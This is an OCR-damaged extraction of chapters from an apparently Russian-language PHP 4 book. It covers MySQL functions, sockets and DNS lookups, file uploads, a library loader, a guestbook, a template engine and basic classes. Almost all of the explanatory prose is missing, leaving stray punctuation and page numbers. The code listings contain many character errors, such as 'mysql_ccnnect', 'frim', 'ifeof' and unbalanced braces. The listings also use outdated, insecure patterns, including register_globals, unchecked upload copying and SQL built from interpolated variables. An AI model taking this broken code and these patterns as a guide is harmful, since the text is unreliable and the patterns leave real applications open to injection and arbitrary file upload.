( ).
, Cookies? .

, , . LJRL ( ) , , , . , . ,
s e s s i o n . u s e _ t r a n s _ s i d .
, , , , , Cookies , .
.
26

MySQL
,
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MySQL. ""
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mysqi_connect MySQL, $hostname (

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26. MySQL
365
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int mysql_select_db(string $dbname l,int $link_identifier])
MySQL, ,
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) $dbname.

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366
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367

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TINYINT
-128 +127
SMALLINT
-32 768 32 767
MEDIUMINT
-8 388 608 8 388 607
INT
-2 147 483 648 2 147 483 647
BIGINT
-9 223 372 036 854 775 808

9 223 372 036 854 775 807

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length ( ), PHP, a decimals

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368
IV.
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DOUBLE
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26.3. MySQL
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255
TEXT
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4 294 967 295
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369
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4 294 967 295
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DATE
--
TIME
::
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370
IV.
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26.6. MySQL
not null
primary
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377

drop table
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372
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26. MySQL
373
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int mysql_num_fields(int $result)
, . .,
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IV.
374

int mysql_result (int $result, int $row, mixed $field)
$ field
$row. $ field , , "" .
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array mysql_f etch_row ( int $result)
-
$resuit. ( ), false.
,
mysqi_f etch_row ( ) .
:
$r=mysql_query ("select * frim OurTable where age<30");
while ($Row=mysql_fetch__row ($r) ) (
// $Row
}
, , , . .
m y s q l _ f e t c h _ r o w ( ) f a l s e .
26. MySQL
375
, , , - . .
mysql__fetch__array ( )
.
array mvsql fetch arrayfint Sresult)
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mysqi_fetch_array , ,
, .
int mysql_data_seek(int $result, int $rowjnumber)
$resuit
$row_number. m y s q l _ f e t c h _ r o w ( )
m y s q i _ f e t c h _ a r r a y ( ) . f a l s e .

,
.
string mysql_field_name(int $result, int $field_index)
m y s q l _ f i e i d _ n a m e ( ) ,
$fieid_index. -,
, m y s q l _ f e t c h _ a r r a y ( } .
IV.
376
, mysql_field_name "" - .
string mysql_field_type(int. $result,
int $field_offset)
mysqi_fieid_nameo, ,
. , , i n t ,
double . .
int mysql_field_len(int $result,
int $field_offset)
Sresuit. , ,
.
, , . , varchar (
) varchar ( ) , 100.
. - SQL.
string mysql_field_flags(int $result,
int $field_offset)
,
.
, ,
explode ( ) :
$Flags=explode("
",mysql_field_flags($r,$field_offset));
, MySQL ,
. 26.7.
26.7.
not_null
Primary
key
. .
,
Unique_key
Multiple_key
26. MySQL
377
26.7 ()
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zerof ill
binary
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auto_increment
timestamp
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,
string mysql_field_table(int Sresult,
int $field_offset)
,
$fieid_offset $resuit. ,
, .
MySQL

.
<?
//
mysql_ccnnect("localhost");
//
mysql_select_db("my_database") ;
//
$result = mysql_query{"SELECT * FROM tbl");
//
Sfields = mysql_num_fields($result};
//
$rows
= mysql_num_rows($result};
// (, , ...)
$table = mysql_field_table($result,0);
echo " '$table' $fields $rows <>";
echo " :<>";
378
IV.
/ / ""
for ($i=0; $i<$fields; $i++) {
$type = mysql_field_type($result, $i) ;

$name = mysql_field_name ($result, $i) ;
$len
= mysql_f ield_len ($result, $i) ;
$flags = mysql_field_flags ($result, $i) ;

echo "$type $name Slen $f lags<BR>\n";
MySQL
.
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? , ...
, .
(), , , id. id ,
, id ,
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parent_id, id . , .
.
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""...
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, , ,
id?
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- ( id) :
int auto_ increment primary key
379
26. MySQL
, ! INSERT ,
MySQL .
1 ,
, .
,
, , "" .

m y s q l _ i n s e r t _ i d ( ) .
int mysql_insert_id([int $link_identifier])

insert. insert, , :
mysql_query("insert into (!, 2) values('','')");
$id=mysql_insert_id();
, $id:
$r=mysql_query("select * from where id=$id");
$Row=mysql_fetch_array($r);

MySQL
. ,
. MySQL V
.
, , .
int mysql list_fields(string $dbname, string $tblname [,int Slink])
mysqi_iist_f ieids ( ) stbiname $dbname,

$iink, ( ). ,
,
mysql field flags() ,
mysql_field_len() ,
mysql_field_name()
380
IV.
mysqi_fieid_type . -1,
.
int mysql_list_tables(string $database [,int $link_identifier])
( ),
, . mysqi_resuit
, 0.
27

,
.
.

, f open ( ) ,
. f open , HTTP. HTTP,
"" , , . "" f sockopen ( ) .
int fsockopen(string $host, int $port [,int &$errno] [,string &$errstr])
f open { } , $host ,
$port. ,
: f read , f w r i t e o , f gets , f e o f o . .
, , false , $ermo $errstr,
( ) . false, $errno 0, ,
. , , Windows TCP/IP.
f sockopen ( ) Unix,
,
. $port 0
$host .
, . . Unix.
() ,
.
, socket_set_biocking() (. ).
27.1 "" , 80
HTTP- GET -
382
IV.
. Htmispeciaichars , HTML .
| 27.1. ""
// Web- www.php.net
$fp = fsockopen("localhost", 80);
//
fputs($fp,"GET / HTTP/1.0\n\n") ;
//
echo "<pre>";
while ( ifeof ($fp) )
echo HtmlSpecialChars (fgets ($fp, 1000) ) ;
echo "</pre>";
//
fclose ($fp) ;
, 80- .
: fsockopeno .
telnet-, FTP , .
int socket_set_blocking(int $sd,
int $mode)

, fsockopeno. ($mode=true) "",
. , , -
"" ,
. ($mode=faise) fgets ( ) ,
. , ,
. , ,
feof ( ) , 27.1.
DNS

DNS- IP-.
27.
383
IP-

string gethostbyaddr(string $ip_address)
, IP-.
$ip_address.
, . $ip__address
. , , , . , /. .
string gethostbyname(string $hostnarae)
IP. , $hostname.
array gethostbynamel(string $hostname)
, ,
IP- $hostname. ,
IP-, DNS- , IP-
. , .
, , ,
IP-. ,
IP- $ip :
$host=gethostbyaddr($ip);
echo gethostbyname($host);
DNS- $host, , , :
$ip=get.hostbyname !$host) ;
echo gethostbyaddr($ip);
IP-

gethostbyaddr ( ) ,
, . , -
384
__
IV.
IP-
. , , ( ) !
. , 195.84 . 1 2 . 3 4 . ,
,
DNS- , : " whitehouse.gov",
195. 8 4 . 12. 34. , :
echo gethostbyaddr{"195.84.12.34") ;
whiiehouse.gov. !
? . , IP- , "" whitehouse.gov.
IP-, , , :
$ip="195. 84. 12.34";
$host=gethostbyaddr ($ip) ;
// , $host==$ip
if ($host==$ip) die (" ip- $ip!");
$check_ip=gethostbyname($host) ;
// , $check_ip==$host
if ($check_ip==$host) die {" Shost!");
// ,
it ($ip==$check_ip)
echo " $ip $host";
else
echo " $ip ! ! !";
? . , , . IP-. ,
. gethostbynamei IP. :
! 27.2.
'
// gethostbyaddr ( ) , ,
// $ip
// . false.
function safe_gethostbyaddr ($ip)
27.
385
{ //
$host=gethostbyaddr ($ip) ;
// ? , .
if ($host==$ip) return $host;
// $host, .
$check ips=gethostbynamel ($host) ;
// , , ?
foreach ($check_ips as $check_ip) (
// , $host .
if ($ip==$check_ip) return $host;
}
// , ,
return false;
// , . . .
echo safe_gethostbyaddr ("195.84.12.34") ;
. :
safe_gethostbyaddr ,
gethostbyaddr ( } ,
. ,
- , safe_gethostbyaddr .
'. .'*-".::.-: .
;;
.,,".:....
V.
28

, , .
HTML HTTP .
,
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"" ( ).
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. . ). .
V.
390
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: .
.
Multipart-
, , GET POST, :
1=1&2=2&...
, "" ( ) URL-: %,
. .
, multipait- .
<form> :
enctype=multipart/form-data
, , ( ). "-" HTTP:
_\
Content-Disposition: form-data; ="" [; ]\
\
_ ,
( ). , , , , .

, , Browse
. <input>:
<input type=file =_ [size=pa3Mep_non]>
, :
;
28.
39?
;
.
, .

, ,
<input type=fiie> value. To , ,
. : ,
, , .
, HTML . , DHTML
(Dynamic HTML HTML) JavaScript.
, . , JavaScript,
, -
, .
DHTML .
, , , , JavaScript,
,
. ,
"": , ,
.
, <input type=fiie>
? ,
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JavaScript ,
"" .
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: , , JavaScript, ""
,
.
, <input type=fiie> value?..
392
V.

Web-, ,
, "" , multipart. , .

, ,
. ""
.
, .
multipart-, :
<form action="script.php" method=POST enctype=multipart/form-data>
<input type=file name="MyFile">
<input type=submit>
</form>
(
, ) ,
, . , .
$MyFile ,
, . : , , , ...
$MyFiie_name ,
.
$MyFiie_size .
$MyFiie_type , . , i m a g e / g i f , text/html . .
, MyFiie_. , _.
, ,
, Copy ($MyFile, "uploaded.dat")
, , ,
$MyFiie_size.
, /. ,
28.
393
, , ,
. , :
.
, , $MyFiie,
.
:
,
.
| 28.1. photo. php:
$ImgDir="img";
//
@mkdir ($ImgDir, 666) ; // ,

// ,
if (@$doUpload) {
// ,
if (@file_exists ($File) ) {
//
// ,
Copy ($File, "$ImgDir/".basename ($File_name) ) ;
//
$d=opendir ($ImgDir) ;
//
$Photos=array () ;
//
//
while ( ($e=readdir ($d) ) !==false) {
// GIF, JPG PNG?
if ( !ereg("A (.*) \\. (gif I jpglpng) $", $e, $P) ) continue;
// , ,
//
$path="$ImgDir/$e";
//
$sz=Get!mageSize ($path) ; //
394
V.
$tm=filemtime(?path);
//
// $Photos
$Photos[$tm] = array(
'time1 => filemtime($path), //
'name' <=> $e,
//
'url' => $path,
// URI
r
w'
=> $sz[0],
//
'h'
=> $sz[l],
//
'wh'
=> $sz[3]
// "width=xxx height=yyy"
/ / I01JU4U.; - vi'iiuLoa - ,
// . : ""
// .
krsort ($Photos) ;
// . .
<body>
<form action=photo.php method=POST enctype=multipart/form-data>
<input type=file name=File><br>
<input type=submit name=doUpload value="3aKa4aTb ">
</form>
<?foreach($Photos as $n=>$Img) {?>
<img
src=<?=$Img[ 'url' ] ?>
<?=$Img[ 'wh' ] ?>
]^=" <?=date ("d.ra.Y H: i: s", $Img [ 'time '])?>"
</body>
, (,
),
, -, .
( ) .
, ,
( , , ,
).
28.
395
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, ?>,
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. , , . .

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: [ ] , [1] [text] . . ( ) "" ,
. , 4 .

, .
<> :</>
: <input type=file name="File[text]"><br>
: <input type=file name="File[bin]"><br>
: <input type=file name="File[pic]"><br>
<input type=submit name=Go value="OTnpaBHTb ">
</form>
s c r i p t . p h p , :
$Fiie, text, bin pic, , ;
$Fiie_name
;
$Fiie_type ;
$Fiie_size .
, .
, ,
Dump($GLOBALS), /7,
.
V.
396
, 3
. , .

, .
. , . . , , ,
.
, :
<input type=file name="File [a] [b] ">
<input type=submit>
</form>
"" ,
$Fiie, . ,
4.0. -
( ) .) , .
,
"" . , , ,
$HTTP_POST_FILES.
, , .
(
$HTTP_POST_FILES , ,
track_vars. , , 4 (
), .
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29
.
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398
V.
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, , 4.
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29. . ""
399
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. , "" . , , .
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:
! 29.1. : librarian.phi
<?if(!defined("LIBRARIAN_LOADED")) {
define("LIBRARIAN_LOADED", I);
//
define("LibExt","phi");
// . ,
// , ,
400
V.
// Uses
// .
S INC []=".",
$ INCH =". /lib";
// "" $dir $fname,
// (, $dir
// $fname) .
function glue_path ($dir, $fname)
{ $dir=strtr(trim($dir) ,"\\","/") ;
$name=strtr (trim(Sfname) , "\\", "/") ;
if (@$fname[0] =='//') return $f name;
if (@$dir[strlen($dir)-l] =='/') return $dir.$fname;
return "$dir/$fname";
I / .
// ( ,
// ) , ,
// (
// $cur) .
/ / .
// realpath ( )
// , , ,
// .
function GetAbsPath ($name, $cur="") { return abs_path ($name, $cur) ; }
function abs_path($name, $cur="")
{
//
$name=strtr (trim($name) , "\\", "/") ;
// "/"
$Parts=explode ("/" , $name) ;
$Path=($cur===""?getcwd() :$cur) ; //
foreach($Parts as $i=>$s) if($s!=".") {
// ?
if(!$i && (strlen($s)>l&&$s[l]==":"| l$s=="")) $Path=$s;
// ?
else if ($s==". .") {
// , ?..
if (strlen($Path)>l && $Path [1]==" : " &&
strlen($Path)<=3 || $Path=="/" || $Path=="\\") continue;
// dirname()
29.
""
$p=dirname ($Path) ;
if ($p=="/"l l$p=="\\"l |$p==".") $Path=""; else $Path=$p;
}
//
else if($s!=="") $Path=glue_path ($Path, $s) ;
}
return ($Path!==""?$Path: "/") ;
// URL ,
// , ,
// DOCUMENT_ROOT,
// - dirname ($SCRIPT_NAME) .
// , (,
// URL, Alias- Apache,
// .
function Url2Path ($name)
{
$curUrl=dirname ($GLOBALS [ "SCRIPT_NAME"] ) ;

$url=abs_path (trim($name) ,$curUrl) ;
return getenv ("DOCUMENT_ROOT") . $url;
// $INC ,
// ,
// .
function AbsolutizelNCO
{
global $INC;
static $PrevINC="";
// $INC
// - $INC. ,
// ,
// .
// .
if ($PrevINC!==$INC) {
for($i=0; $i<count ($INC) ; $i++) {

$v=&$INC[$i];
if ($v[0]=="." &&
(strlen($v)==l || $v[l]=='\\' II $v[l]=='/')) continue;
$v=abs_path($v) ;
}
//
$PrevINC=$INC;
401
402
V.
II .
// $INC.
function Uses ($libname)
{
global $INC;
static $PrevINC="";
// $INC
static $LastFound=0; //
// $INC -
// - ?. .
AbsolutizelNCO ;
// , ,
// - .
// , . // , . . .
$l=$LastFound;
do {
/ / ?. .
$dir=$INC[$LastFound] ;
if (@is_file($file="$dir/$libname.".LibExt) ) {
// ,
$cwd=getcwd() ;
chdir (dirname ($file) ) ;
// .
foreach($GLOBALS as $k=>$v) global $$k;
// .
$ret=include__once ($file) ;
// ,
// (?) $INC
AbsolutizelNCO ;
//
chdir ($cwd) ;
return $ret;
}
$LastFound=($LastFound+l) %count ($INC) ;
} while ($LastFound!=$l) ;
// - ""...
die ("Couldn't find library \"$libname\" at ".join(", ", $INC) ."!");
// ,
// , Apache.
@putenv ( "SCRIPT_NAME=" .
$GLOBALS [ "HTTP_ENV__VARS" ] [ "SCRIPT_NAME" ] =
$GLOBALS [ "SCRIPT NAME" ] =
29. . ""
403
ereg_Replace("\\?.*","",getenv("QUERY_STRING"))
);
@putenv("SCRIPT_FILENAME".
$GLOBALS["HTTP__ENV_VARS"]["SCRIPT_FILENAME"]=
$GLOBALS["SCRIPT_FILENAME"]=
Url2Path(getenv("SCRIPT_NAME"))
//
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<?
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//
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// key=value
// ... , , ,
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// ! .
// ,
// OtherModules/dk
$INC [ ] ="OtherModules/dk" ;
29. . ""
405
II - , files. phi
Uses ("SomeOtherModule") ;
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// :
define ( "CRLF" , getenv ( "COMSPEC" } ?"\r\n" : "\n" ) ;
// $fname
function ReadAllFile i$fname)
(
$f=fopen(Sfname, "r") ; if(!Sf) return "";

$Cont=f read($f , lOOOOOOj ; f close ($f } ;
return $Cont;
// $fname,
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//
function ReadKeyValFile ($fname)
(
$Cont=@File($fname) ; if ( !@is_array ($Cont) } return array ();

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foreach($Cont as $i=>$st) {
if ( !(" ( [=] +) = (.*) ",$st,$regs) ) continue;
$Hash[trim($regs[l] ) ] =trim($regs [2] ) ;
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406
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410
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// , .
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// , ,
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FILE
,"\\","/");
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if(eregi(quotemeta($ReqName),$FileName)) {
//
include "libhandler.err";
//
$f=fopen("libhandler.log","a+");
fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn");
fclose($f);
//
exit;
//
// .
Sputenv("REQUEST_URI=".
$GLOBALS["HTTP_ENV_VARS"]["REQUESTJJRI"]=
SGLOBALS["REQUESTJJRI"]=
getenv("QUERY_STRING"}
};
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$GLOBALS["HTTP_ENV_VARS"] ["QUERY_STRING"] =
$GLOBALS["QUERY STRING"]=
29. . ""
411
ereg_Replace("[?]*\\?","",getenv("QUERY_STRING"))
);
parse_str($QUERY_STRING);
//
include "librarian.phi";
// - ...
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// ,
chdir(dirname($SCRIPT_FILENAME));
include $SCRIPT_FILENAME;
?>
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29.
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414
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30.1. : gbook.htm
<htmlxheadxtitle>rocTeBaH Kiaira</title></head>
<body>
<2> :</h2>
<form action=gbook.php method=post>
: <input type=text name="New[name]"><br>
:<br>
<textarea name="New[text]" wrap=virtual cols=60 rows=5x/textarea><br>
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418
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30.
419

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; 30.2. : gbook.php
define ( "GBook", "gbook. dat" ) ; //

// . .
function LoadBook ($fname)
{ $f =@f open (GBook, "rb") ; if(!$f) return array ();
$Book=Unserialize(fread($f, 100000) ) ; fclose($f) ;
return $Book;
}
II .
function SaveBook ($fname, $Book)
{ $f =f open (GBook, "wb" };
fwrite ($f , Serialize ($Book) ) ;
fclose ($f) ;
// .
// .
$Book=LoadBook(GBook};
// , .
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if(!empty($doAdd)} {
//
// $New, . . ,
// , .
420
V.
$Book=array (time ( ) =>$New) +$Book;

// .
SaveBook (GBook, $Book) ;
// . $Book :
// array (
//
_ => array (
//
( id) name => _,
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text => _
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30.
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424
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include "kernel.php"; // .
$Book=LoadBook(GBook); // .
// , .
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// .
30.
427
$Book=array(time()=>$New)+$Book;
// .
SaveBook(GBook, $Book) ;
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// .
include "config.php" ;
// . .
function LoadBook ( $ f name )
( $f=@f open (GBook, "rb") ;
if(!$f) return arrayO;
$Book=Unserialize(f read ($f, 100000) ) ;
fclose (Sf ) ;
return $Book;
}
I / .
428
V.
function SaveBook ($fname, $Book)

{ $f=fopen (GBook, "wb") ;
f close ($f) ;
, ,
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<?
define ("GBook", "gbook.dat") ; //
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<tablextr>
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</td>
</trx/table>
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433
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30.
435
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<?Block("Output"?>
<htmlxhead><title><?=Blk("Title")?><title></head>
<body bgcolor=white>
<> .</1>
<table><tr>
<td width=20% : . . .</td>
<td width=80%x?=Blk("Text") ?></td>
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tt<?Inc("templ")?>
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# .
Action templhandler "/php/TemplateHandler.php?"
# "" .
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440
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// ,
442
V.
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$FileName=strtr(
FILE ,"\\","/") ;
$ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUEST_URI"),"\\","/"));
if(eregi(quotemeta($ReqName),$FileName)) {
// .
include "TemplateHandler.err";
// .
$f=fopen("TemplateHandler.log","a+"};
fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn");
fclose($f);
// .
exit;
//
// .
Sputenv("REQUEST_URI=".
$GLOBALS["HTTP_ENV_VARS"]["REQUEST_URI"]=
$GLOBALS["REQUESTJJRI"]=
getenv("QUERY_STRING")
);
@putenv("QUERY_STRING=".
$GLOBALS["HTTP_ENV_VARS"]["QUERY_STRING"]=
$GLOBALS["QUERYJ3TRING"]=
ereg Replace (" [?] *\\?", "",-getenv ("QUERY STRING")}
parse_str($QUERY_STRING);
// .
$INC[l=getcwd();
include "Librarian.phi";'
// .
chdir(dirname($SCRIPT_FILENAME));
// .
Uses("Template");
// .
echo RunUrl($SCRIPT NAME);
30.
443

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| 30.14. : Template .phi
// ,
define ("DefGlue", " I ");
//
def ine ("Htaccess_Name", " .htaccess") ; // .htaccess-
// ""
def ine ("BlkTemplate", "template") ; //
def ine ("BlkOutput", "output") ;
//
def ine ("BlkDefGlue", "defaultglue") ; // ""
//
$GLOBALS [ "BLOCK" ]=array ( } ;
//
$GLOBALS["BLOCK_INC"]=array() ;
// $INC
$GLOBALS ["CURBLOCK_URL"]=false; // URL

$GLOBALS ["bSingleLine"]=0;
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// : -
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void FilterFunc( string $BlkName, string &$Value, string $BlkUrl)
$GLOBALS ["BLOCKFILTERS"]=array (
"_FBlkTabs",
"_FBlkGlue"
//*** -
444
V.
// . .
function Blk($name)
{
return @$GLOBALS[ "BLOCK"] [strtolower ($name) ] ;
// URL .
// URL (
// ) .
function Inc($url)
{
global $CURBLOCK_ORL,$SCRIPT_NAME;
$CurUrl=$CURBLOCK_URL; if(!$CurUrl) $CurUrl=$SCRIPT_NAME;
if ($url[0] !="/") $url=abs_path($url,dirname($CurUrl) ) ;

$GLOBALS [ "BLOCK_INC" ] [ ] =$url ;
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// $value, .
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function Block (Sname=false, $value=false)
{
global $BLOCK, SbSingleLine, $CURBLOCK_URL;

//
static $Handled=false;
//
static $CurBlock=false; //
// ,
if ($name!==false) $name=strtolower (trim($name) ) ;
// . ,
// Block (). ,
// , ,
// ( ) .
if($Handled) {
// ?
if ($CurBlock!==false) {
30.
__
445
// .
$BLOCK[$CurBlock]=trim(ob_get_contents () ) ;
// ( .htaccess) ,
// , .
if (@$bSingleLine) $BLOCK[$CurBlock]=
ereg_Replace(" [\r\n] .*","", $BLOCK[$CurBlock] ) ;

//
_ProcessContent ($CurBlock, $BLOCK [$CurBlock] , $CURBLOCK__URL) ;
}
//
ob_end__clean ( ) ; $Handled=0 ;
}
// ( ) ,
// , ,
// , (. LoadO).
if ($name!==false) {
//
ob_start ( ) ; $Handled=l ;
// , ,
// . ,
// , - $name, ,
// ,
// .
if ($value===false) {
$CurBlock=$name ;
} else {
// . ,
// (
// ).
_ProcessContent ($name, $value, $CURBLOCK_URL) ;
$BLOCK [ $name ] =$value ;
$CurBlock=false;
// URL $name ,
// , . $name
// URL,
446
V.
// SINC ( ,
// ). $name ,
// , .htaccess,
/ / .
// , ,
function Load($name)
{
global $BLOCK,$bSingleLine,$CURBLOCK_URL,$BLOCK_INC;
// $INC
AbsolutizelNCO ;
// , $BLOCK_INC
$fname=false;
if($name[0]!='/') {
//
foreach($BLOCK_INC as $v) {
$fname=Ur!2Path("$v/$name"); //
if(file_exists($fname)) { $name="$v/$name"; break; }
}
// , $fname ===false
} else {
// URL -
$fname=Url2Path($name);
}
// , URL.
// ,
if($fname===false || !file_exists($fname)}
die("Couldn't open \"$name\"!");
// - , .htaccess
$Single=false;
if(@is_dir($fname)} {
$name=glue_path($name,Htaccess^Name);
$fname=glue_path($fname,Htaccess_Name);
$Single=l;
}
// ( ,
//
.htaccess, ),
// . , .htaccess-a.
if(!file_exists($fname)) return;
// .
// , ( ),
30.
447
II .
$PrevSingle=$bSingleLine; $bSingleLine=@$Single;
$SaveDir=getcwd(); chdir(dirname($fname));
$SaveCBU=$CURBLOCK_URL; $CURBLOCK_URL=$name;
// ,
// (, .htaccess-e
// ).
// _PreBlockText.
Block("_PreBlockText");
//
foreach($GLOBALS as $k=>$v) if(!@Isset($$k)) global $$k;
// .
include $fname;
// , ( ).
//
// .
Block();
if (@$php_errormsg && ereg ('"parse", $php__errormsg) )
echo "<b>Warning:</b> $php_errormsg at $fname, ".
"line ??? - thanks PHP developers <nobr>:-(</nobr>";
chdir($SaveDir);
$CURBLOCK_URL=$ SaveCBU;
$bSingleLine=$PrevSingle;
}
// . $url
/ / Output.
// ( , ).
function RunUrl($url)
{
global $BLOCK;
//
_CollectBlocks($url);
// .
// , ,
// . - .
// Output.
$tmpl=@$BLOCK[BlkTemplate];
if(!$tmpl) {
die("Cannot find the template for <b>$url</b> ".
448
V.
"(have you defined <tt>" .BlkTemplate. "</tt> block?)");
}
Load($tmpl) ;
// Output
if (!isSet($BLOCK[BlkOutput] ) ) {
die ("No output from template <b>$tmpl</b> ".
"(have you defined <tt>" .BlkOutput . "</tt> block?)");
}
return $BLOCK [BlkOutput ];
// .
// , $url,
// .htaccess- .
function _CollectBlocks ($url)
{
global $BLOCK;
$url=abs_path($url,dirname($GLOBALS["SCRIPT_NAME"] ) ) ;
// - /, .
if (strlen ($url) >1) _CollectBlocks (dirname ($url) ) ;
//
Load($url) ;
// .
function _ProcessContent ($name, S$cont, $url)
{
foreach($GLOBALS["BLOCKFILTERS"] as $F)
$F($name,$cont,$url) ;
//*** "" .
// [name] ,
// , "" ,
// , -
// name. name
// ( , []), DefaultGlue,
/ / , - " | ".
function _FBlkGlue ($name, &$cont, $url)
{
global $BLOCK;
if (('"\[ ( ] ]}*]", $cont, $P) ) {
$c=substr ($cont, strlen ($P[0] ) ) ; // [name]
30.
449
$=$[1];
//
// ""?
if (! empty ($BLOCK[$name] )) {
$glue=@$BLOCK[$n] ;
if ( !lsset($glue) ) $glue=@$BLOCK[BlkDefGlue] ;
if ( ! Isset ($glue) ) $glue=DefGlue;
$cont=$BLOCK[$name] . $glue.$c;
}
// - .
else $cont=$c;
//*** .
// HTML- .
// , ,
// , .
// < ?foreach($Book as $k=>$v) {? >
//
<tr>
//
<td>< ?=$Book [ ' name ' ] ? ></td>
//
<td>< ?=$Book[ 'text' ] ? ></td>
//
</tr>
// < ?}? >
function _FBlkTabs ($name, &$cont, $url)

{ $cont=preg_replace("/ A \t+/m", "",$cont) ;
""
30.14
, .
ob_ ( Output Buffering ).
"" , echo, a
, PHP- <? ?>,
.
4. , - .
450
V.
, .
void ob_start()
, ""
. , ,
echo
, , .
,
ob_get_contents .
o b _ s t a r t ( ) , .
s t r i n g ob_get_contents()
,
.
ob_get contents . ( ) , (,
), .
, ,
false. , , .
void ob end clean(}
.
, o b _ s t a r t o , ( ). ,
,
ob_get_content ( ) . .
ob_end_ciean ( ) o b _ s t a r t o .
void ob_end flush()
ob_end_ciean(), , , ,
. , ,
.

"" . , -
30.
451
ob_start ( ) ? , , , -,
.
, .
ob_end_ciean() , "" (,
). :
| 30.15. ""
ob_start ( ) ; // 1
echo "1"// 1-
ob_start(); // 1
echo "2";
// 2
$A[2]=ob_get_contents () ; //
ob_end_clean ( ) ;
echo "1";
// 2
// 1
$A[l]=ob_get_contents ( > ; //
ob_end_clean ( ) ; // . . ,
// ,
foreach($A as $i=>$t) echo "$i: $t<br>";
// :
// 2: 2
// 1: 11
, - :
, . , . , - , "" ob_end_clean ( )
, " ",
. , , .

, , , . , -
452
V.
, , , ( ) . , , .
.
"". , o b _ s t a r t ( ) ,. . , . , 30.15
$ [ 2 ] ,
1, , "
", . :
, , ! ,
, , .
,
"" .
. ,
, - , . , , :
, , , .
31
-

10 -
(), , . . , ( , ,
C++ 98- , Java Delphi)
, 80-
.
- ,
, "" .
, ,
,
. :
" ", ( Unix, Apache, Perl, ) "-" . ,
. ,
, ...
, ,
. , : ,
,
. ,
- : ,
- . , .
, . , . ,
C++.
454
V.

. . , ... (
)
. ( ], . , int . "" ( ),
(, , . .).
C++ , , int
. : (, . .) . , ,
C++ (
int), .
, + , Add ( ) , .
. , .
:
class MyName {

)
, ,
. ,
new:
$0bj = new MyName;
$obj, " "

, MyName.

, .
( , ,
) .
,
- . , MySQL,
31.
455
, $TabieName.
, , - $TabieName .
,
.
: "" (
), "" , ( ).
,
. :
, .
, ,
.
var:
var SpNamel, $pname2, . . . ;
, .
var ,
, .
,
- (, SObj, ). ->:
// Namel $0bj
echo $Obj->Namel;
//
$Obj->Name2="PHP Four";
- (, Subobj)
( ), "":
// Property -
// $SuDOb;j SOb]
echo SObj->SubObj->Property;
,
. , $obj
, .
456
V.
- ,
, .
,
. .

() , .
,
? , , ? ?..
,
, ( ) - (). ,
MySQL, ,
. Drop ( ) ,
.
:
$Obj->Drop(); // $0bj !
, , , .
, Add ( ) ,
, select ( , )
,
. .
MySQL
, . .
, :
class MyClass (
function Method()
31.
_ 457
MySQL. , : ?
MySQL?
, .
, ( ,
. . ).
-, : - MySQL
, , , . ? ,
, "". , , , .
-? ,
. -. , . - ,
- Error.
, (, )
, .
:
class MysqlTable (
var $TableName; //
var $Fields; // . ,
var $Error; //
, , . (, ) .
- ( , ) -.
( 31.1).
^
.
"" . , , , ,
, .
I 31.1.
class MysqlTable {
var $TableName; //
458
V.
var $ Fie Ids; // . ,

var $Error; //
// $Rec. $Rec
// . ,
// $Rec ,
// . . .
// , MySQL ,
/ / "" .
function Add($Rec) { ; }
// ( id , /'/ , ,
// Add) ,
// $. $Num ( ) .
// SOrder.
function Select ($Expr, $Num=lelO, $0rder="id desc") { ; }
// , $.
function Delete ($Expr) { ; }
// (,
// Delete ("1=1") .
// !
function Drop ( ) { ; }
, , . , . . , ,
MySQL ( ,
, ).
, ,
MysqiTabie, , MySQL
SQL, , MysqiTabie,
, SQL.
, (
) ,
, "".
: - ,
, , , .
. , SQL -
, . . SQL, -
.
31.
459

, " " ,
, , . , , :
$0bjl=new Mysqltable;
$Obj2=new MysqlTable;
echo $Objl->TableName, " ", $Obj2->TableName;
, . , , - :
$Objl->Drop() ;
, , ,
, " ". ,
$obji, $obj2. Drop ( ) :
class MysqlTable (
function Drop ()
{ , Drop ( )
-
, Drop . , , MysqlTable. Drop ,

? Drop $obji ,
$obj2 , . - , - ...
, ( , . .
) $this, , . Drop ( ) :
function Drop ( )
{ //
$this->Delete ("1=1") ; //
460
V.
/ /
mysql_query("drop table ".$this->TableName);
Drop sobji->Drop ( ) , $this

, $obji ( sobji),
$ o b j 2 - > D r o p ( ) , $this $obj2. To ,
. ,
: , .
, $this -, . , $obji->Drop ( ) - $this, $objl,
$obj2 .
:
$ArrayOfObjects["obj"]->DoIt( ) ;
.
:
$obj=&$ArrayOfObjects["obj"]; $obj->Do!t();
He & (
), Doit ()
, , , $obj!
,
$obji $obj2 .
,
. , , , , :
"" - MySQL;
;
Fields;
.
, , init :
class MysqlTable {
31.
461
I / - $TblName
function Init (STblName)
{ $this->TableName=$TblName;
$this->Error=0;
$this->Fields
}
}
$0bj=new MysqlTable; $Obj->Init ("test") ;
new init ? - init

( , )? . , ,
init ,
new . , . , , ()
, . :
class MysqlTable {
function MysqlTable ($TblName)
( , Init ;
$0bj=new MysqlTable ("test") ; //
.
test, PHP
. ,
-, .
. , (, ).
, , , " " -- ,
. , - "" , , . , ,
- , , , .
462
V.
.
. .
,
. , , , , ,
. ,
"" ,
. . :
class A {
function TestAO ( . . . }
function Test() { ... }
}
class {
var $a; //
function (__, _)
f $a=new (_ );

}
function TestBO { ... }
function Test () { ... }

}
: . "" , . "", , , , .
, ,
, . ""? :
, , ,
.
.
, , .
" " $ o b j - > a - > T e s t A ( ) ,
$obj->TestB ( ) . , , , -
31. -
463
. ,
.
, .
. , ( ) .
class extends A (
function (__, _)
{ $(:->(__) ;

}
function TestB() { ... }
function Test() { ... }

}
extends ,
"" , .
, , , , "".
" " , . ,
$obj $ o b j - > T e s t A ( ) $ o b j - > T e s t B ( ) . ,
, , , " ". :
, , .
(
: , . , .
? ,
Mysql- Guestbook (
). , Guestbook ,
, MysqiTabie, MysqiTabie:
class Guestbook extends MysqiTabie {
, MysqiTabie

464
V.
( , , , , , z). , .
() , ,
. ,
,
, , , .
.
class A {
// ,
function Test () { echo "Test fromA\n"; }
// Test
function Call() { Test (); }
}
class extends A {
// Test()
function Test () { echo "Test from B\n"; }
}
$a=new A();
$b=new ();
:
$a->Call(); // "Test from A"
$b->Test.(); // "Test from "
$b->Call(); // ! "Test from "!
: ,
Test () , ! , Test Test .
. , , .
, , ""
, , , ,
. , ,
, , . .
Draw , .
-, , ( -
31. -
465
-). ,
, . , , , ,
Draw ( ) "", .
MysqiTabie, - ,
. .
, , ,
.
MysqiTabie . , Guestbook, , MysqiTabie
"" -- ,
,
( ""
). ,
MySQL-, ,
"" -- , HTML- . . ,
.
MysqiTabie
p r e M o d i f y O , , . , Guestbook
, . ,
